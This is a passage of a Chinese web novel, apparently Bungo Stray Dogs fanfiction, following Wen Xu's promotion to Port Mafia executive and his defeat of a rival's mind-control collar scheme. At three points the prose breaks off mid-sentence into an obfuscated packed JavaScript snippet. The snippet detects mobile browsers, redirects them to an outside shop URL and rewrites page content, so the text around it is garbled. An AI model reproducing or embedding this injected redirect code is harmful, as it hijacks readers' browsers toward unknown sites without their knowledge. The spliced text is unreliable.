在他刚离开不到五分钟,一队穿着黑西装的人就悄无声息地进入了仓库,开始熟练地清理现场。 温叙抵达首领办公室时,应该是森鸥外早已吩咐过守卫放行,两把对准电梯口的枪管缓缓垂下,守卫无声推开了厚重的红木门。 森鸥外正伏在宽大的办公桌前审阅文件,听见脚步声,才抬起那双深紫红色的眼睛,他脸上带着惯有的温和笑容。 “温叙君,欢迎回来,任务报告我已经收到了。”森鸥外放下笔,“完成得很漂亮,敌方全都被都被歼灭,而我方零伤亡,这在港口黑手党的历史上也是完美的战绩。” 他语气赞赏,同时又将一个黑色盒子推在办公桌边缘,“这是这次的奖励。” 温叙也不客气,走上前打开盒子,里面静静躺着一把钥匙和一张银行卡。 “银行卡算是额外的奖金。” 森鸥外身体微微后仰,靠在首领椅上,状似随意说:“不过以温叙君的能力,始终留在后勤部队,着实有些可惜,不知道你有没有升职的意愿?” 温叙歪了歪头,却冒出一个念头,既然都要升职了,为什么不一步到位呢? 他目光灼灼地看向那张宽大的首领椅,黑色皮质,扶手处雕刻着繁复的花纹,看起来就很舒服。而且坐在那里的话,就能指挥别人干活…… “我这样子就可以了,不过,”温叙眨眨眼,语气天真得像在问今天吃什么,“我为什么不能当首领呢?” 办公室里安静了一瞬。 森鸥外脸上的笑容不变,手指却几不可查地收缩了一瞬,爱丽丝停下了画画的动作,从森鸥外身后探出头,紧紧抓住他的衣袖,蓝色的大眼睛一眨不眨盯着温叙。 “温叙君,首领之位并非儿戏。”森鸥外开口,声音依旧平稳,像在耐心解释什么,“不仅要安排整个港口黑手党的前进方向,审阅堆积如山的文件,还要把每一个人都安排到合适的位置。而且每天都有开不完的会,处理不完的纠纷,应付不完的敌对组织……” 他顿了顿,观察着温叙的表情:“最重要的是,一旦坐上这个位置,你将不再自由。你要被各种责任束缚住,不能再随心所欲地战斗,也不能随便离开总部,毕竟首领的所有行动都关系到整个组织的稳定。” 森鸥外一直忌惮着温叙。 对方的人生经历全都不可信,拥有着强大到离谱的能力,行事肆意妄为,完全不受任何规则约束,对□□也没有归属感。 正如太宰治所说,对方现在或许没有兴趣,但万一哪天突然对权力感兴趣了呢? 必须先打消温叙篡位的念头,但又不能激怒对方,森鸥外心思电转,最好的办法就是把对方放在一个足够高但又不会威胁到自己位置的地方。 8. 第8章 “如果是干部的话,”森鸥外话锋一转,“战斗任务会第一时间呈报给你,温叙君,你也不必每天花费大量时间寻找对手了。” 他身体微微前倾,语气诚恳,像是真的在为温叙考虑:“而且干部的薪资相当丰厚,只要任务完成得出色,还会有额外的奖金。” “最重要的是,”森鸥外刻意放缓语速:“干部拥有极大的自主权,除了必要任务外,你的任何行动都不会受到限制。” 温叙在心里偷笑,嘴角差点就扬起来了,他赶紧端起严肃的表情,手指在桌面上轻轻敲了两下,故作沉思状。 当首领?他暗地里撇了撇嘴。他要是真想坐上那个位置的话,进入游戏第一天他就要揭竿起义了,哪会等到现在? 他就是想吓唬吓唬这只老狐狸,毕竟对方看着就满肚子算计,谁知道背后在打什么主意。 看着森鸥外脸上一闪而逝的僵硬,以及对方急切劝导干部好处的模样,温叙才心满意足地收敛了玩心。 所以听完那一大串解释,他顺势点了点头:“听起来……好像还行。” “至少不用天天对着成山的文件发愁。”他耸耸肩,一副“我勉强接受”的表情,“行吧,干部就干部吧。” 森鸥外不易察觉地松了口气,笑意重新回到脸上:“那么明天需要开一次干部会议,把你介绍给诸位干部,三天后会举办干部晋升仪式,届时将正式向整个组织宣布你的职位。” “好,到时候我会过去。”温叙答应得很爽快,话音未落就转过身,径直朝墙角的医药柜走去。 他熟练地打开柜门,将里面新补的绷带、止痛药、抗炎药一扫而空,全部塞进系统背包里。 “走了啊。”他朝森鸥外随意挥挥手,推门离开,全程没多看一眼那位名义上的首领。 办公室合拢的瞬间,森鸥外脸上的笑容淡去,爱丽丝从身后飘出来,趴在他对面的桌子上,拿起蜡笔开始涂涂画画。 “爱丽丝,你感觉温叙君怎么样?”森鸥外轻声问问,手指无意识地摩挲着桌面,目光却依旧落在温叙离开的的方向。 爱丽丝头也不抬,用稚嫩的嗓音说:“林太郎,温叙是个不合格的下属,他不会听你的话,他也不会尊重你。” 她顿了顿,用蜡笔狠狠戳了一下纸面:“而且他也很聪明,刚才分明是在逗你玩呢。” “是啊。”森鸥外苦笑:“温叙君不尊重首领,也迷恋权利。他看待这一切的眼神,就像注视着一场新奇的游戏,偏偏,他拥有将游戏进行下去的绝对实力。” 他轻轻敲击桌面,若有所思:“没有欲望,没有弱点,这样的人最难控制。” “那怎么才能确保能够牵制住这样的人呢?”他像是在问爱丽丝,又像是在问自己。 爱丽丝放下蜡笔,抬起蓝色的大眼睛:“羁绊。温叙现在没有一个在乎的人,他就是没有线的风筝,飞到哪里都可以。 “那给他创造一个弱点呢?”爱丽丝歪了歪头。 森鸥外沉默片刻,然后笑了起来:“爱丽丝果然最聪明了。” 他站起身,走到衣帽架旁,拿出一条精致的小洋裙,瞬间切换了表情:“不说这个了,爱丽丝快试试这条裙子吧,它一定很适合你!” “才不要!林太郎最讨厌了!” 温叙离开港口黑手党后,没有立刻回住处,而是在横滨街头晃悠了半个小时,顺手“借”了家便利店的两个饭团当宵夜,这才慢悠悠朝郊区别墅走去。 这位置确实偏僻,周围是大片的农田,安静得能听见鸟叫和风吹过杂草的沙沙声。 农田里面只稀稀拉拉长着些不知名的作物,大概是前主人种下的,花园更是荒芜,只剩下杂草还在疯长。 “好大的农田!”温叙站在田地里,张开双臂,深深吸了一口气,虽然什么也没嗅到。 他突然有种玩经营游戏的兴奋感,从系统背包里取出一叠种子卡牌,在手里像扇子一样展开。 “现在,请称呼我为温·农场主·叙。”他对着空气宣布,惊起了不远处几只睡眼惺忪的麻雀。 卡牌种类暂时不多:【郁金香】、【山茶花】、【向日葵】、【土豆】、【西红柿】、【白菜】、【小麦】、【桃树】。 温叙搓了搓手,先瞄准了别墅小花园靠近墙角的一块相对平整的地。 从背包里摸出不知哪里顺来的耙子,哼起完全不在调上的自创歌曲,开始吭哧吭哧地松土。 “我是一个小农夫,种田本领强~”调子跑到太平洋去了,手上动作却麻利得很,“等我把这片地都种满,到时候吃不完的菜可以拿去卖……哼哼,到时候看谁敢不买干部辛辛苦苦种下来的蔬菜。” 他一边天马行空地幻想,一边手脚不停地忙活,花了小半天,终于开垦出八块像模像样的方块田。 他蹲下身,仔细查看卡牌上的说明:“嗯……种子都是八天成熟,随机掉落二到三个种子,不错不错,可持续发展。” 他将种子埋好,又取出也不知从哪里顺来的水壶,给每块地都浇上水,还像模像样地对着刚埋下的种子说:“快快长大呀。” “等以后种子多了,就可以把外面那片大农田也给开垦了。”温叙擦了擦额头上不存在的汗,直起腰。 他对自己这八块整齐的“作品”非常满意,左看右看,仿佛看到了未来一片绿意盎然的丰收景象。 “以后我就是横滨第一农场主兼黑手党武力担当干部了。”他心满意足地宣布,“这头衔,够拉风。” 三天时间一晃而过,温叙照例早起——说是早起,其实已经到正午了。 他揉着眼睛从床上爬起来,打着哈欠去查看他的“农场”,刚靠近那八块小田地,他就惊喜地“哇”出了声。 “哇!长出来了。”温叙蹲下身,眼睛亮晶晶地看着这些绿芽,然后兴冲冲地抄起水壶。 就在这时,口袋里那部森鸥外友情赞助的、号称“干部标配”的黑色手机,嗡嗡震动起来。 “温叙君,今天是为你举办晋升仪式的日子。”森鸥外的声音从听筒里传来,温和有礼,“仪式将于下午六点钟正式开始,希望你不要忘记。” 温叙眨了眨眼。 哦对,好像是有这么回事……他完全给忘到脑后了。 不过,忘掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048757|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是正常的!他理直气壮地想。 他每天日程多满啊,忙着探险横滨,忙着找人切磋,忙着钓鱼,忙着浇菜,哪里还有闲工夫记这种形式主义的活动? “我怎么会忘记,你不相信我吗?”温叙直接来一个反问,好像森鸥外的问题多么荒谬似的。 “当然不是。”森鸥外不急不缓地说:“只是晋升仪式太重要了,提醒一下总是稳妥些。” 温撇撇嘴:“我下午会到现场的,你还有事吗,没事我就挂了,忙着呢。” 他说完,根本不给对方回话的机会,拇指一按就切断了通话,顺手把手机塞回口袋,继续给小绿芽浇灌。 下午六点,港口黑手党总部天台宴会厅。 水晶吊灯璀璨夺目,红绸桌布铺得平整,银质餐具和玻璃杯在灯光下闪闪发光。穿着黑色西装的组织成员们三三两两地站着,低声交谈。 温叙踩着点慢悠悠晃进场,对四面八方投来的目光视若无睹,他的视线扫了一圈,最后精准地锁定在甜品区。 “哇——”他眼睛一亮,快步走过去,“这么多好吃的?今天是我的晋升仪式,那这些……”他煞有介事地点头,“四舍五入,不就都是我的了嘛,我拿,我拿,我拿拿拿。” 他完全沉浸在了自己的逻辑里,还颇为感慨地摇头晃脑:“哎,我人怎么这么好,居然还允许别人来分享我的东西。” 说罢,他率先拿起一个做成橘猫形状的奶油蛋糕就往嘴里塞,浓郁的奶油香气在口中化开,他满意眯起眼睛。 “这个熊猫的好吃……啊,这个小兔子的也不错。”他一边吃一边打包,走过的甜品区都被空出了一片。 侍者站在一旁,欲言又止,最后还是默默低下头,假装什么都没看见。 尾崎红叶站在不远处,宽大的红色振袖挡轻轻掩住嘴角。 虽然在干部会议上已领略过这位新任干部特立独行的作风,但亲眼见到他在如此正式场合这般……率性而为,果然仍需些许时间来适应。 不过这样的性子出现在港口黑手党,说不定会是件好事。她看着温叙那张毫不掩饰情绪的脸,眼中泛起了笑意。 “温叙君还真是充满活力呢。”她轻声说道,声音柔和。 站在她身旁的森鸥外闻言,脸上露出些许无奈。 自从温叙来过他办公室后,就像开启了什么固定流程,每天雷打不动来首领办公室“打卡”。 不管他在处理多么重要的文件,或是在与何人密谈,温叙都会光明正大地推门而入,无视所有人和事,直奔墙角的医药柜开始“扫货”。 不管怎么劝,温叙都当做耳旁风。他尝试过不往医药柜里补充药品,结果温叙转手就把他办公桌上的文件、钢笔、甚至他刚泡好的茶都顺走了。 温叙:啧,今日物资未刷新,只好拿点日常用品填补一下背包了。 从此,港口黑手党首领办公室的医药柜物资比起以前更加丰富了。 “活泼是活泼,”森鸥外苦笑,“就是太闹腾了些。” 尾崎红叶眼角弯了弯:“活泼点也好,给这沉闷的地方添些生气,不是吗?” 9. 第9章 两人交谈间,温叙已经晃悠到了饮品区,他盯着一排排晶莹的高脚杯,里面盛着深红色的液体,在灯光下泛着诱人的光泽。 “这就是红酒吗?”温叙好奇地拿起一杯,学着电视里看过的样子晃了晃,然后仰头就是一大口。 “呸呸呸!” 整张脸瞬间皱成一团,温叙赶紧往嘴里塞了块小蛋糕,才勉强压住那种酸涩感,“怎么这么难喝,又苦又涩,跟喝中药似的……” 说完他自己先愣了一下,随即眉头不自觉地微微蹙起。 糟糕,又回想起喝中药的那些日子,嘴里的苦味好像真的泛上来了。 温叙用力摇头,又连续吃了好几个草莓小蛋糕,直到甜意完全覆盖了口腔,才满意的呼出一口气。 “拉黑拉黑。”他郑重地把这个东西列入黑名单,转头看向旁边颜色鲜艳的果汁。 “好吧,我还是喜欢喝果汁。”他抱起一瓶橙汁,给自己倒了满满一杯,满足地喝了一大口,还不忘点评:“这才是人喝的东西嘛。 就在这时,宴会厅内的钢琴曲忽然转调,原本低语交谈的人群安静下来,所有人的目光都投向大厅中央。 森鸥外走上高台,目光扫过全场,在温叙的方向不着痕迹地多停留了两秒。 “诸位,”森鸥外开口,声音不大却足以让每个角落都听清:“今日我们相聚于此,既是为了迎接我们的新干部,也是为港口黑手党增添新的力量而庆祝。” 他讲了几句场面话,逐渐切入正题:“温叙君在不久前的外敌入侵中,以一人之力,全歼数个敌对组织的联合进攻,且我方未损失一兵一卒。” “随后展开的大清洗行动,也因他的贡献而异常顺利,才让我们组织的根基更加稳固。” 台下响起一片低低的附和与赞叹声,不少人的目光已经投向了还捧着橙汁的温叙身上。 “如此功绩,理应得到应有的地位。”森鸥外提高声调:“今日,我正式任命温叙为港口黑手党的第三位干部。” 掌声响起时,温叙正往嘴里塞着牛排,一名侍从悄然来到他身边,恭敬地低声道:“温叙大人,首领请您上台。” “唔唔……马上马上!”温叙含糊应答,飞快地将叉子上的牛排送进嘴里,鼓着腮帮子用力嚼了几下,囫囵咽下。 这才擦了擦嘴,端起还剩两块牛排的盘子,在众目睽睽之下,慢悠悠地晃上了高台。 森鸥外递给他一把镶嵌着红宝石的匕首,刀鞘上的纹路精细繁复:“这是干部的信物,温叙君,它代表地位,也代表责任。” 温叙“哦”了一声,很自然地单手接过,入手沉甸甸的。 他好奇地翻来覆去看了看,顺手把牛排盘子递给森鸥外,“帮我拿一下。” 森鸥外:“……” 全场有一瞬的寂静。 森鸥外脸上的笑容似乎僵了一下,但下一秒,他无比自然地接过了那个盘子,仿佛这是再正常不过的流程。 温叙腾出手,用手指抠了抠刀鞘上的红宝石。 ——没抠动。 “啧,镶得还挺结实。”温叙撇撇嘴,这才把匕首随意塞进背包里,重新拿回自己的盘子。 他正准备往台下跳,就被森鸥外叫住了:“温叙君,作为新晋干部,对大家说几句话吧。” 温叙收回已经抬起的腿,俯视着下面黑压压的人群,无数道目光聚焦在他身上,好奇的、审视的、敬畏的、尊敬的。 他叉起盘子里的一块牛排,“啊呜”一口吃掉,腮帮子再次鼓起。 一边咀嚼,一边认真思考了三秒钟。 “嗯……”他咽下食物,清亮的嗓音传开:“以后有什么有趣的、好玩的事,记得叫上我。” 台下更加寂静了,许多人脸上露出错愕的表情。 温叙仿佛没看到,语调依旧轻松,又带着理所当然:“特别是打架那种,记得一定要叫我。” 他挥了挥拿着叉子的手,盘子跟着晃了晃:“千万别跟我客气,我随时有空!” 说完,他朝台下灿烂一笑,露出一排整齐的牙齿,然后干脆利落地跳下高台,继续他的“扫荡大业”去了。 森鸥外重新站回台中央,从容地继续接下来的讲话,语气平稳,仿佛刚才那段插曲从未发生。 然而台下的低声议论却如同水入油锅,蔓延开来。 一位刚刚结束长期外派任务归来的中年成员,面带惊诧地对同伴低语:“这位新干部性格真是……直率啊。” 他斟酌着用词:“在如此正式的场合,这般行止未免过于随性了吧?” 他旁边一个穿着黑西装、头发染了一缕白色的时髦年轻人闻言,立刻扭过头,用看外星人似的眼神上下扫了他一眼。 “前辈,”年轻人压低了声音,语气里却满是毫不掩饰的“你太落伍了”的意味:“您这是刚从哪个信号不通的山沟里回来的吗?” 他微微抬着下巴,眼神发亮地望向温叙在大厅里穿梭的背影,“那可是温叙大人!咱们港.黑现在谁不知道,大人实力深不可测,偏偏性子是最‘随和’不过的,大人这么做,必定有他的深意。” 中尾勇真,这个和温叙同期加入港口mafia的年轻人,在他心里,温叙大人就是他的偶像,他前进路上的指路人。 拥有那样恐怖的力量,却从不肆意张扬,立下滔天功劳,晋升干部后也依旧平常得像邻家能打的哥哥。 大人甘居干部之位,不求首领之尊,这是何等宽广豁达的胸襟! 他越是脑补,看向温叙的眼神就越是炽热。 “大人行事直率?是告诉我们不必拘泥死板的规矩,要有鲜活劲儿。拿着餐盘?那是提醒我们任务再忙也要记得按时补充能量。说话直白?那是教导我们办事要干脆利落,别搞虚头巴脑的那一套!” 中尾勇真越想越觉得有道理,心中充满了领悟真理般的激动。 他挺了挺胸膛,认为自己离成为温叙大人麾下第一得力亲卫的目标又近了一步。 他转回头,再次仔细打量了一下那位满脸写着“我不理解”的中年大叔。 很好,年纪偏大,思想僵化,性格畏缩,行事保守……根本就入不了大人的眼。 中尾勇真对那位还在愣神的前辈投去一个混合着怜悯与优越感的眼神,轻哼一声,不再理会这“不可雕也的朽木”。 那位外派归来的大叔,被这顿如同加特林般“突突突”的输出打得哑口无言,张了张嘴,却发现自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048758|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己一个字都接不上。 对方甚至还用那“你懂什么”的笃定眼光看着他,更是让他产生了一种自己是异类的错觉。 他摸摸了后脑勺,有些茫然地转过了头,看到了正对着烤鸡翅眼冒绿光的温叙干部。 “……算了。”中年大叔在心里默默叹气,决定还是不和这种看起来已经“中毒”颇深的狂热粉丝计较了。 鬼知道对方的脑回路是什么样子。 —— 宴会结束后,某间奢华办公室内传来瓷器碎裂的巨响。 “该死的!那个温叙什么来历,就这么当上了干部。”干部A把桌子上的陶瓷装饰狠狠推到地面上,疯狂咒骂。 他眼前又浮现出温叙在宴会上嚣张的笑容,那轻狂的模样,像一根毒刺扎进他的心口。 更可恨的是,森鸥外竟在离席时,状似随意地拍了拍他的肩,低声警告:“A,温叙君是新晋的干部,年轻有为,你作为前辈,要多关照关照。” 关照?少招惹? A几乎要咬碎后槽牙,这分明是明目张胆的偏袒。 “肯定是个走后门的,所有人都瞒着我。”他再次踹了一脚办公桌,桌沿上的盒子因振动摔落在地,各色宝石滚落一地。 下属们垂首敛目,缩在阴影里,大气不敢出。 A的声音因为愤怒而扭曲:“一个毛头小子,只是完成一次没有难度的任务,他凭什么!” “你们还愣着干什么,还不快捡起来!”A血红的眼睛瞪向那群下属,再次骂道:“是不是不想活了。” 下属们浑身一颤,慌忙扑跪在地,手指摸索那些滚得到处都是的宝石,连呼吸都放得轻不可闻。 整个房间只剩下宝石相互碰撞的细微脆响,和A粗重愤怒的喘息。 他又想起之前的干部会议。 那个温叙,自顾自坐在新任干部的位置上,带着施舍意味的冲他点头。 会议期间也没个正形,在那里摸东摸西,一会儿玩钢笔,一会儿翻文件,一点也没有晚辈该有的样子。 那姿态,哪里是对前辈的敬畏,分明是彻头彻尾的蔑视。 “呵,森鸥外护着他又怎样?真当我是好捏的软柿子?”A从牙缝里挤出冷笑,目光扫过眼前这群下属,狠狠踹中离他最近一人的心口。 “唔。”被踹中的下属闷哼一声,向后踉跄倒地,却只是迅速蜷缩身体,默默摸了摸脖子上的金属项圈,安静地重新站好,低垂着头,像一尊没有生命的雕塑。 看着下属那逆来顺受的模样,A忽然他想到什么,他从抽屉里取出一个黑色金属项圈,上面镶嵌着细小的宝石,在灯光下闪闪发光。 “你,”他指向一个下属,嘴角咧开一个扭曲的笑:“把这个项圈给温叙送过去,就说是前辈送的晋升贺礼,一定要看到他戴上!” 被指住的人脸色顿时惨白:“大人,温叙大人不是好惹的,他……” “啊——” 惨叫声戛然而止,办公室多了一堆冰冷的宝石,哗啦啦散落在地板上。 A脸色狰狞,呼吸粗重:“竟然敢违抗我,温叙那个小子那么年轻,怎么可能这么厉害?背后肯定是森鸥外在作势,什么一人全歼敌对组织,骗鬼呢!” 10. 第10章 他又指了另一个人:“你,把项圈送给温叙,一定要看到他戴上,不成功的话——” 他的目光扫过地上那堆宝石。 “你的下场就和他一样。” 被恶魔指住的下属面色瞬间惨白,冷汗已经浸湿了后背的衬衫,他脸上挂起勉强的笑容,颤抖着接过那个冰冷的项圈,低声回答:“……是,大人。” “我看被戴上项圈后,那个死小子还能不能这么张扬。”干部A阴冷地笑起来,“等他成了我的傀儡,我要让他好看。” 办公室里回荡起令人毛骨悚然的笑声。 —— 翌日下午,温叙正在自己的新办公室里拆礼盒。 这些是各方送来的贺礼,被森鸥外派人整整齐齐排在了办公室一角。 温叙盘腿坐在地毯上,阳光透过落地窗洒在他身上,将他的黑发镀上一层浅金色。 “让我看看里面有什么好东西……”他哼着不成调的歌,随手拆开一个包装精致的蓝色礼盒。 里面放着一把镶着紫宝石的匕首,他撇了撇嘴,随手把匕首扔到旁边的“武器山”上,那里已经堆了十几把各式冷兵器和手枪。 “第九把了,是觉得我很缺武器吗?”他对着空气抱怨:“就不能送点实用的吗?” “最新版的游戏机,不限额度的黑卡,再不济,送点零食大礼包也可以啊!” 温叙揉了揉自己的黑发,又扒拉出一个更大的银灰色礼盒。 拆开后,里面是一套做工精良的黑色西装,他拎起来在自己身上比了比,嘀咕道:“还挺合身,可惜我不爱穿正装。” 正说着,门被敲响了 “温叙大人,属下奉干部A大人之命,特来补送贺礼。”门外传来一个略显紧张的声音。 温叙耳朵动了动,拆礼物的手停住了。这种单独送上门的“礼物”,往往都和麻烦牵扯不清。 他可是很熟悉电视剧套路的。 “来了来了!”他欢快地应着,蹦起来去开门,心里却已经开始盘算:会是什么套路呢?下毒?炸弹?还是诅咒物品? 门外站着一位黑手党,那一头显眼的黄发,让温叙在心里默默给他起了个绰号:黄毛君。 黄毛手里捧着一个黑色丝绒礼盒,他低着头,不敢直视温叙的眼睛。 “温叙大人,这是A大人特意为您定制的贺礼,因为工艺复杂,所以送迟了,请您见谅。”黄毛声音干涩,捧着盒子的手在轻微发抖。 温叙接过礼盒,饶有兴致地打量着对方微微颤抖的肩膀和额角渗出的冷汗。 心理素质不太行啊,朋友,温叙在心里点评,这演技,放电视剧里活不过片头曲。 他故意把尾音拖得长长的:“专门定制的吗?那我得好好看看这是什么好东西——” 他打开盒盖,里面静静躺着一个黑色项圈,镶嵌的宝石在办公室灯光下闪闪发光,温叙把项圈取出来,在手里抛了抛,又捏了捏。 “哇哦,”温叙发出夸张的感叹,“真用心了,这皮质,这宝石,A干部破费了啊。” 黄毛看着温叙把玩着项圈,心脏都快跳出嗓子眼了,小心翼翼地开口:“温、温叙大人,您可以先试戴一下,看看尺寸合适不合适……” “戴一下?”温叙温叙眨了眨眼,笑容不变,他拿着项圈,慢慢举到颈边,在即将触到皮肤时,动作却戛然而止。 他脸上的笑容一点点收敛,那双总是带着笑意的眼睛此刻却冷了下来,他下巴微抬,表情倨傲:“我说,你该不会真把我当傻子吧?” 那人浑身一僵。 “这么老套的剧情,连三流编剧都不屑用了好吗?”温叙把项圈“啪”地扔回盒子里,“送礼上门,强制试戴,接着就是‘啊!我被控制了’这种落后潮流十年的剧本了吧?” “属下不敢!”黄毛冷汗涔涔,声音抖得几乎破音,“我们怎、怎么敢算计您,这真是A大人的一片心意。” 他绝对不能承认。 认了,他或许就会变成办公室里那堆价值连城却毫无生机的宝石。 虽然常听同僚们说起这位新任干部能力诡异、脾气难测之类的话,但他总归没有亲眼见过。 万一是夸大其词呢?万一温叙其实挺好糊弄—— 他死死咬着不松口:“大人,这真是专门为您定制的贺礼,我们怎么可能会起害您的心思呢?您、您多虑了。” “这样啊。”温叙点了点头,好似相信了对方,甚至还露出了一个灿烂的笑容。 黄毛心里一松,以为蒙混过关了。 然后他就听见温叙欢快的声音:“真当玩家没智商啊,这么拙劣的谎话,谁会信!” 话音未落,温叙已经动手了。 他没动用任何异能,就是纯粹的拳打脚踢,左勾拳,右勾拳,一个漂亮的回旋踢将黄毛踹倒在地毯上。 “让你把我当傻子,让你送项圈,老套,老土,缺乏创意。”每说一句就补一脚,动作行云流水,显然不是第一次干这种事。 揍了一会儿,温叙忽然停手,撇了撇嘴:“……没劲,血条太薄了,不经打。” 他蹲下身,用指尖戳了戳蜷缩在地的黄毛:“喂,带我去找那个A。” 黄毛趴在地上,衣服上全是脚印,脸上青紫,身体因为疼痛蜷缩在一起,还在强撑:“大人,这都是属下自作主张,和A大人无关。” 温叙温叙“啧”了一声,只知道他又被糊弄了。 他踹了对方一脚,从口袋里掏出了一把左轮手枪,这是他今天刚抽出来的卡牌【你好,我可以来一枪吗】。 本质上是个赌命的俄罗斯轮盘游戏,正好拿来玩玩。 “这样吧,”温叙慢条斯理地转开弹仓,塞进三颗子弹,枪口抵上黄毛的太阳穴:“我们来玩个游戏,你有二分之一的概率不会中弹,猜猜看,你的运气怎么样?” 黄毛的眼睛瞪大了,瞳孔紧缩。 温叙开始倒数,声音轻快而有节奏: “三。” 黄毛的身体开始不受控制地发抖。 “二。” 他的呼吸变得急促。 “一。” 扳机扣下。 “砰!” 枪声响起,子弹射出,但太阳穴中弹、脑浆迸裂的场景却并未发生。 在倒数到“二”的瞬间,黄毛已经被恐惧压垮,最后关头,他几乎是本能地把头向后一仰。 子弹擦着他的额头掠过,划开一道深深的血口,鲜血顺着脸颊滴落在地面上,很快汇聚成一小滩。 温叙吹了吹枪口并不存在的烟,语气居然带上一丝真诚的赞叹:“哇,反应速度可以啊,这波闪避,我给你打八分,扣两分是因为姿势不够优雅。” 黄毛整个人僵在那里,眼珠呆滞地跟着血滴下落的轨迹移动,直到痛感后知后觉地蔓延开,他才彻底崩溃。 “是A大人,都是A大人指使的!”黄毛连滚带爬地跪好,不顾额头还在流血,额头抵在地毯上,“项圈戴上就会被他控制,属下是被逼的,求您饶命。” 温叙眼睛一亮,像是想到了什么绝妙主意,嘴角勾起一个狡黠的笑。 “终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048759|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于不糊弄玩家了。”他站起身,“走吧,带路,去找你那位亲爱的A大人。” 干部A的办公室在楼下。 黄毛脸上的血已经流得慢了,伤口边缘开始凝固,脸色是失血过多的惨白,走路时脚步虚浮,但他不敢慢下来,生怕后面的那位祖宗等得不耐烦,再给他一枪 “大人,就是这里。”他停在门前,声音发哑。 温叙轻巧的侧身,把自己藏在门侧的视觉死角,扬了扬下巴:“敲门,该怎么说,你清楚吧?” 黄毛看着温叙手中若有若无晃动的枪口,吞了口唾沫,抬手叩门。 “大人,”他努力让声音平稳,“项圈……温叙大人已经戴上了。” 短暂的寂静后,门从内部拉开,A的身影出现在门口。 “你亲眼看到他戴上的?”A的银发遮住一只眼睛,剩下的一只眼阴鸷地盯着黄毛。 “是,大人。”黄毛低下头,不敢让对方看清自己惨白的脸和额前的的伤口。 A根本没细看,在他眼里,下属不过是听话的狗,哪有胆量欺瞒?他嘴角咧开一个阴冷的笑:“很好,看那小子以后还敢不敢在我面前嚣张。” A得意地笑起来,仿佛已经看到了温叙在他面前唯唯诺诺的样子。 “走,现在就去看看,我要亲眼瞧瞧他发现自己被控制时,会是什么表情。” 躲在墙后的温叙差点没忍住笑出声,这反派智商,这经典台词,在电视剧里绝对活不过片头曲。 就在A志得意满,迈出房门的刹那,温叙猛地跳了出来。 “Surprise,惊喜大放送!” 话音未落,他抬手就是一巴掌。 “啪!” 清脆响亮的耳光声在走廊里回荡,温叙这一巴掌用了十成力,直接把A的脸打歪到一边,银发凌乱地散开,露出下面那只总是藏在阴影里的右眼。 A被这突如其来的一巴掌打懵了,两秒后,刺痛才火辣辣地烧上脸颊,他才猛然回神,勃然大怒:“你竟敢打我!” 正要发动异能,他却猛地瞥见温叙手中把玩的黑色项圈。 A瞬间明白过来,暴怒的目光射向瑟瑟发抖的黄毛:“你敢欺骗我?!” 【宝石王的失常】 他毫不犹豫发动异能,黄毛颈间的项圈只是红光闪烁两下,便悄然熄灭。 预想中的宝石堆没有出现。 什么都没有发生。 “怎么回事?!”A又试了一次,依然只有微弱的光芒一闪而逝,仿佛异能突然失效。 “是你搞的鬼?”他猛地转向温叙,眼中满是惊怒。 “老登,肯定是你的能力到期了。”温叙晃了晃手里的项圈,脸上露出一个欠揍的笑容:“身为干部,这么穷吗?连个自动续期都不舍得买。” “要不您现在赶紧充个值?别在这里丢人现眼了。”他凑近一步,压低声音,语气却格外欢快:“我可以等你哦,反正我有的是时间。” 温叙刚才确实使用了卡牌。 【大胆,神之领域岂容放肆 等级:SR 类型:一次性 介绍:以自身为圆心,半径七米内除自身外,一切异能力失效,持续三十分钟。(而你,就是唯一的神,为所欲为吧。)】 温叙特别想知道,一个对自己的异能力依赖性很强的家伙,突然发现能力失效了,会是什么反应。 现在他看到了。 A的表情精彩得能拿去当表情包,震惊、愤怒、恐惧、难以置信,最后定格在一种近乎疯狂的狰狞。 11. 第11章 “你们这些蠢货,还愣着干什么。”A气急败坏地朝周围的下属嘶吼,声音在空旷的走廊里回荡:“给我抓住他!” 然而,回应他的是一片死寂。 “大人……”站在后排的一个下属终于抬起头,语气恭敬,目光却透露着冰冷:“温叙大人也是干部,我等不敢以下犯上。” A被怒火冲昏了头脑,竟没注意到,自从他的异能被压制后,那些平日里低眉顺眼的下属们,眼神早已变了。 那是积压了太久、几乎要化为实质的恨意,像即将喷发的火山,死死锁在他身上。 温叙却看得分明。 他忍不住再次感慨这游戏的NPC情感模拟系统,那每一道目光里的怨恨、快意、以及蠢蠢欲动的报复欲,都如此真实。 这老登是气晕了还是平时作威作福惯了,真以为自己吼一嗓子,这些被压迫久了的人就会永远当狗? 